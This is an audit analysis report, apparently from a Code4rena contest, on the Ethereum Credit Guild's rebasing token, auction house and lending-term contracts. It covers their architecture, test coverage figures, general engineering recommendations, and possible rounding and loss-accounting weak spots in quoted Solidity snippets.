I analyzed the architecture and business logic of abstract contract ERC20RebaseDistributor
and two important contracts: AuctionHouse
and LendingTerm
. This analysis focuses on their structures and operational mechanics.
ERC20RebaseDistributor Contract
Architecture
Note: to view the provided image, please see the original submission here.
The ERC20RebaseDistributor contract, designed for a rebase mechanism in a DeFi protocol, exhibits several key implementations,
Rebase Functionality: It allows token supply adjustments (rebasing), proportionally affecting the balance of all token holders who opt into rebasing.
Opt-in Mechanism: Users can choose to participate in rebasing through enterRebase()
and opt out using exitRebase()
, providing flexibility in how they wish to interact with the token’s economics.
Token Burn for Distribution: The contract enables users to burn their tokens to distribute value to all rebasing token holders, enhancing the token’s utility as a distribution mechanism.
Share-Based Accounting: Internally, the contract converts user balances to shares when they opt into rebasing. This approach simplifies the calculation of individual holdings post-rebase.
Dynamic Share Price Calculation: The share price is recalculated upon each distribution, ensuring that the value of rebasing shares accurately reflects the new total supply.
Interpolation for Distribution: The contract uses a linear interpolation over a set period (30 days) to gradually distribute the value of burned tokens, preventing sudden supply shocks.
Safeguards Against Manipulation: The contract highlights the need for a meaningful initial balance in rebasing to prevent share price manipulation, echoing concerns from historical DeFi exploits.
AuctionHouse Contract
Architecture
Note: to view the provided images, please see the original submission here.
AuctionHouse Intraction Flow
The AuctionHouse contract in a DeFi protocol typically manages the auctioning of assets, often used for liquidating collateral from defaulted loans or for other decentralized governance purposes. It allows users to place bids on assets, handles the logic for determining winning bids, and ensures the transfer of both assets and payment according to the auction rules. The contract is designed to be transparent, fair, and efficient, providing a decentralized mechanism for asset liquidation or sales within the ecosystem
LendingTerm Contract
Architecture
Note: to view the provided images, please see the original submission here.
LendingTerm Intraction Flow
The LendingTerm contract in a DeFi protocol is designed to define and manage the terms of lending operations.
Setting Loan Parameters: It specifies the conditions for loans, such as interest rates, collateral requirements, maximum debt per collateral, and repayment schedules.
Loan Origination: Facilitates the creation of new loans under the specified terms, handling collateralization and issuance of debt.
Repayment and Liquidation: Manages loan repayments and enforces liquidation in case of defaults, ensuring compliance with the set terms.
Governance Integration: Often integrated with governance mechanisms for modifying terms or adding new ones, reflecting the decentralized decision-making process.
Testing Analysis
File | % Lines | % Statements | % Branches | % Funcs |
---|---|---|---|---|
src/core/Core.sol | 100.00% (1/1) | 100.00% (1/1) | 100.00% (0/0) | 100.00% (1/1) |
src/core/CoreRef.sol | 100.00% (15/15) | 100.00% (20/20) | 100.00% (2/2) | 100.00% (6/6) |
src/governance/GuildGovernor.sol | 92.86% (13/14) | 92.86% (13/14) | 100.00% (0/0) | 92.31% (12/13) |
src/governance/GuildTimelockController.sol | 100.00% (1/1) | 100.00% (1/1) | 100.00% (0/0) | 25.00% (1/4) |
src/governance/GuildVetoGovernor.sol | 96.49% (55/57) | 96.72% (59/61) | 90.00% (18/20) | 94.44% (17/18) |
src/governance/LendingTermOffboarding.sol | 100.00% (33/33) | 100.00% (34/34) | 92.86% (26/28) | 100.00% (5/5) |
src/governance/LendingTermOnboarding.sol | 100.00% (36/36) | 100.00% (40/40) | 100.00% (22/22) | 100.00% (5/5) |
src/governance/ProfitManager.sol | 100.00% (117/117) | 100.00% (136/136) | 86.96% (40/46) | 100.00% (15/15) |
src/loan/AuctionHouse.sol | 100.00% (38/38) | 100.00% (44/44) | 95.00% (19/20) | 100.00% (5/5) |
src/loan/LendingTerm.sol | 100.00% (210/210) | 98.82% (251/254) | 87.30% (110/126) | 100.00% (24/24) |
src/loan/SimplePSM.sol | 100.00% (25/25) | 100.00% (27/27) | 100.00% (4/4) | 100.00% (7/7) |
src/loan/SurplusGuildMinter.sol | 100.00% (83/83) | 98.99% (98/99) | 85.00% (34/40) | 100.00% (7/7) |
src/rate-limits/RateLimitedMinter.sol | 100.00% (3/3) | 100.00% (3/3) | 100.00% (0/0) | 100.00% (2/2) |
src/tokens/CreditToken.sol | 100.00% (16/16) | 100.00% (16/16) | 100.00% (4/4) | 100.00% (11/11) |
src/tokens/ERC20Gauges.sol | 100.00% (123/123) | 100.00% (133/133) | 92.00% (46/50) | 100.00% (28/28) |
src/tokens/ERC20MultiVotes.sol | 100.00% (91/91) | 100.00% (102/102) | 73.53% (25/34) | 100.00% (27/27) |
src/tokens/ERC20RebaseDistributor.sol | 99.49% (195/196) | 99.62% (263/264) | 98.39% (61/62) | 100.00% (23/23) |
src/tokens/GuildToken.sol | 100.00% (51/51) | 100.00% (53/53) | 94.44% (17/18) | 100.00% (17/17) |
src/utils/RateLimitedV2.sol | 100.00% (37/37) | 100.00% (46/46) | 100.00% (10/10) | 100.00% (8/8) |
test/forge-std/lib/ds-test/src/test.sol | 0.00% (0/219) | 0.00% (0/222) | 0.00% (0/110) | 0.00% (0/56) |
test/forge-std/src/DSTest.sol | 11.87% (26/219) | 13.06% (29/222) | 11.82% (13/110) | 12.50% (7/56) |
test/forge-std/src/StdAssertions.sol | 98.90% (90/91) | 95.15% (98/103) | 90.00% (36/40) | 95.45% (21/22) |
test/forge-std/src/StdCheats.sol | 0.00% (0/188) | 0.00% (0/228) | 0.00% (0/52) | 0.00% (0/38) |
test/forge-std/src/StdJson.sol | 0.00% (0/29) | 0.00% (0/29) | 100.00% (0/0) | 0.00% (0/29) |
test/forge-std/src/StdMath.sol | 0.00% (0/12) | 0.00% (0/15) | 0.00% (0/4) | 0.00% (0/5) |
test/forge-std/src/StdStorage.sol | 0.00% (0/127) | 0.00% (0/153) | 0.00% (0/30) | 0.00% (0/37) |
test/forge-std/src/StdUtils.sol | 0.00% (0/31) | 0.00% (0/40) | 0.00% (0/26) | 0.00% (0/5) |
test/forge-std/src/console.sol | 0.00% (0/381) | 0.00% (0/381) | 100.00% (0/0) | 0.00% (0/380) |
test/forge-std/src/console2.sol | 0.00% (0/381) | 0.00% (0/381) | 100.00% (0/0) | 0.00% (0/380) |
test/forge-std/test/StdAssertions.t.sol | 100.00% (21/21) | 100.00% (21/21) | 100.00% (0/0) | 100.00% (21/21) |
test/forge-std/test/StdCheats.t.sol | 100.00% (5/5) | 100.00% (5/5) | 50.00% (5/10) | 100.00% (3/3) |
test/forge-std/test/StdError.t.sol | 92.31% (12/13) | 93.33% (14/15) | 50.00% (1/2) | 100.00% (10/10) |
test/forge-std/test/StdStorage.t.sol | 60.00% (3/5) | 66.67% (4/6) | 100.00% (0/0) | 50.00% (2/4) |
test/integration/PostProposalCheck.sol | 0.00% (0/6) | 0.00% (0/6) | 100.00% (0/0) | 0.00% (0/1) |
test/integration/PostProposalCheckFixture.sol | 0.00% (0/31) | 0.00% (0/32) | 100.00% (0/0) | 0.00% (0/1) |
test/mock/MockERC20.sol | 66.67% (6/9) | 66.67% (6/9) | 100.00% (0/0) | 57.14% (4/7) |
test/mock/MockERC20Gauges.sol | 87.50% (7/8) | 87.50% (7/8) | 100.00% (0/0) | 87.50% (7/8) |
test/mock/MockERC20MultiVotes.sol | 85.71% (6/7) | 85.71% (6/7) | 100.00% (0/0) | 85.71% (6/7) |
test/mock/MockERC20RebaseDistributor.sol | 85.71% (6/7) | 85.71% (6/7) | 100.00% (0/0) | 85.71% (6/7) |
test/mock/MockRateLimitedV2.sol | 100.00% (2/2) | 100.00% (2/2) | 100.00% (0/0) | 100.00% (2/2) |
test/proposals/AddressLib.sol | 0.00% (0/46) | 0.00% (0/63) | 0.00% (0/10) | 0.00% (0/4) |
test/proposals/gips/GIP_0.sol | 0.00% (0/209) | 0.00% (0/258) | 100.00% (0/0) | 0.00% (0/5) |
test/proposals/gips/GIP_X.sol | 100.00% (0/0) | 100.00% (0/0) | 100.00% (0/0) | 0.00% (0/5) |
test/proposals/proposalTypes/MultisigProposal.sol | 0.00% (0/7) | 0.00% (0/10) | 0.00% (0/2) | 0.00% (0/3) |
test/proposals/proposalTypes/Proposal.sol | 0.00% (0/1) | 0.00% (0/1) | 100.00% (0/0) | 0.00% (0/1) |
test/proposals/proposalTypes/TimelockProposal.sol | 0.00% (0/38) | 0.00% (0/43) | 0.00% (0/18) | 0.00% (0/3) |
Total | 40.96% (1327/3240) | 42.54% (1538/3615) | 54.78% (493/900) | 23.38% (310/1326) |
100% Coverage
Files like Core.sol, CoreRef.sol, LendingTermOnboarding.sol, and several others show 100% coverage across lines, statements, branches, and functions. This indicates that every line of code, every conditional branch, and every function in these files have been executed during testing, which is ideal.
Less Than 100% Coverage
Files such as GuildGovernor.sol, GuildVetoGovernor.sol, and LendingTerm.sol have less than 100% coverage in some areas. This could be a cause for concern, especially in a DeFi protocol, where untested code might lead to vulnerabilities or unexpected behaviors.
The test/forge-std/...
files have significantly lower coverage. These might be standard test utilities or mock contracts used for testing other components. While lower coverage here might be less critical, it’s still worth investigating if it impacts the reliability of the tests.
Impact of Non-100% Coverage
Security Risks: In DeFi, untested code could lead to security vulnerabilities, potentially leading to loss of funds or other exploits.
Functional Bugs: Lack of coverage might mean that certain edge cases or error conditions are not tested, which could result in bugs or unexpected behavior in production.
Integration Issues: In a protocol with multiple interacting contracts, untested code in one contract might cause issues in another, especially in complex transactions or state changes.
Software engineering considerations
Purpose-Specific Modules: Design contracts like ERC20RebaseDistributor, AuctionHouse, and LendingTerm as modular components. This allows for easier upgrades and maintenance.
Separation of Concerns: Ensure each contract focuses on a specific functionality, reducing complexity and potential for bugs.
Unit Testing: Develop comprehensive unit tests for each function in the contracts, covering all possible edge cases.
Stress Testing and Simulation: Perform stress tests simulating extreme market conditions to evaluate the contracts’ resilience.
Mathematical Proofs: Use formal verification tools to prove the correctness of critical functions, especially those in ERC20RebaseDistributor involving complex mathematical calculations.
State Invariants: Establish and verify state invariants for contracts to ensure they maintain consistent states throughout transactions.
Reentrancy Guards: Implement checks against reentrancy attacks, particularly in functions that interact externally in AuctionHouse.
Optimize for Gas: Refactor contract code to minimize gas consumption, crucial for functions likely to be called frequently.
Proxy Patterns: If upgradeability is a requirement, consider using proxy patterns, ensuring a clear separation between data and logic.
Version Control: Maintain strict version control and changelogs for all contracts to track changes and upgrades over time.
Transparent Governance Processes: Develop and maintain clear, transparent processes for governance actions, documented in code comments and developer documentation.
Smart Contract Events: Emit detailed events in contracts for better off-chain tracking and to facilitate user interface updates.
Comprehensive Documentation: Maintain detailed documentation for each contract, describing its purpose, functions, and interaction mechanisms.
Code Weakspots
Complex Rebasing Logic in _balance2shares
and _shares2balance
functions
function _balance2shares(uint256 balance, uint256 sharePrice) internal pure returns (uint256) {
return (balance * START_REBASING_SHARE_PRICE) / sharePrice;
}
function _shares2balance(uint256 shares, uint256 sharePrice, uint256 deltaBalance, uint256 minBalance) internal pure returns (uint256) {
uint256 rebasedBalance = (shares * sharePrice) / START_REBASING_SHARE_PRICE + deltaBalance;
if (rebasedBalance < minBalance) {
rebasedBalance = minBalance;
}
return rebasedBalance;
}
Why It’s Weak
These functions handle the conversion between balances and shares, which is a core part of the rebasing logic. The risk here is primarily due to potential rounding errors and integer division limitations in Solidity. Incorrect conversions could lead to balance inaccuracies, especially when dealing with large numbers or very small fractional amounts.
Complexity in getBidDetail()
function
function getBidDetail(bytes32 loanId) public view returns (uint256 collateralReceived, uint256 creditAsked) {
// ... logic for calculating bid details ...
}
Why It’s Weak
The getBidDetail
function calculates how much collateral is offered and how much debt is asked for, based on the time elapsed in the auction. The logic is complex and time-dependent, making it prone to miscalculations or manipulation, especially if not properly validated against edge cases or unexpected scenarios (like extreme market conditions).
Handling of Negative Values in notifyPnL
if (amount < 0) {
Why It’s Weak
The handling of losses (negative values) is complex and involves multiple state changes (e.g., adjusting surplus buffers, updating credit multipliers). If not managed accurately, it could lead to financial discrepancies in the system, such as incorrect loss accounting or multiplier adjustments.
creditMultiplier
Risk
// update the CREDIT multiplier
uint256 creditTotalSupply = CreditToken(_credit).totalSupply();
uint256 newCreditMultiplier = (creditMultiplier *
(creditTotalSupply - loss)) / creditTotalSupply;
creditMultiplier = newCreditMultiplier;
emit CreditMultiplierUpdate(
block.timestamp,
newCreditMultiplier
);
Calculating the New Multiplier
creditTotalSupply
is the total supply of CREDIT tokens in the system.- Loss is the amount of bad debt that needs to be accounted for, beyond the surplus buffer.
- The new
creditMultiplier
is calculated by reducing the current multiplier proportionally to the ratio of the loss to the total CREDIT supply.
Effect of the Calculation
The formula (creditMultiplier * (creditTotalSupply - loss)) / creditTotalSupply
effectively reduces the creditMultiplier
. If loss is significant compared to creditTotalSupply
, this reduction can be substantial.
For example, if the current multiplier is 1.0 (or 1e18 in Solidity’s integer math), and the loss is 10% of the total CREDIT supply, the new multiplier would be 0.9 (or 0.9e18), representing a 10% decrease.
Implications
Decrease in CREDIT Value: The decrease in the creditMultiplier
effectively lowers the value of CREDIT tokens throughout the system. This means that every CREDIT token now represents a smaller share of the system’s value.
Increased Debt for Borrowers: This decrease means borrowers now owe more CREDIT tokens to cover the same nominal value of debt.
Time spent
29 hours
eswak (Ethereum Credit Guild) acknowledged
Disclosures
C4 is an open organization governed by participants in the community.
C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.
C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.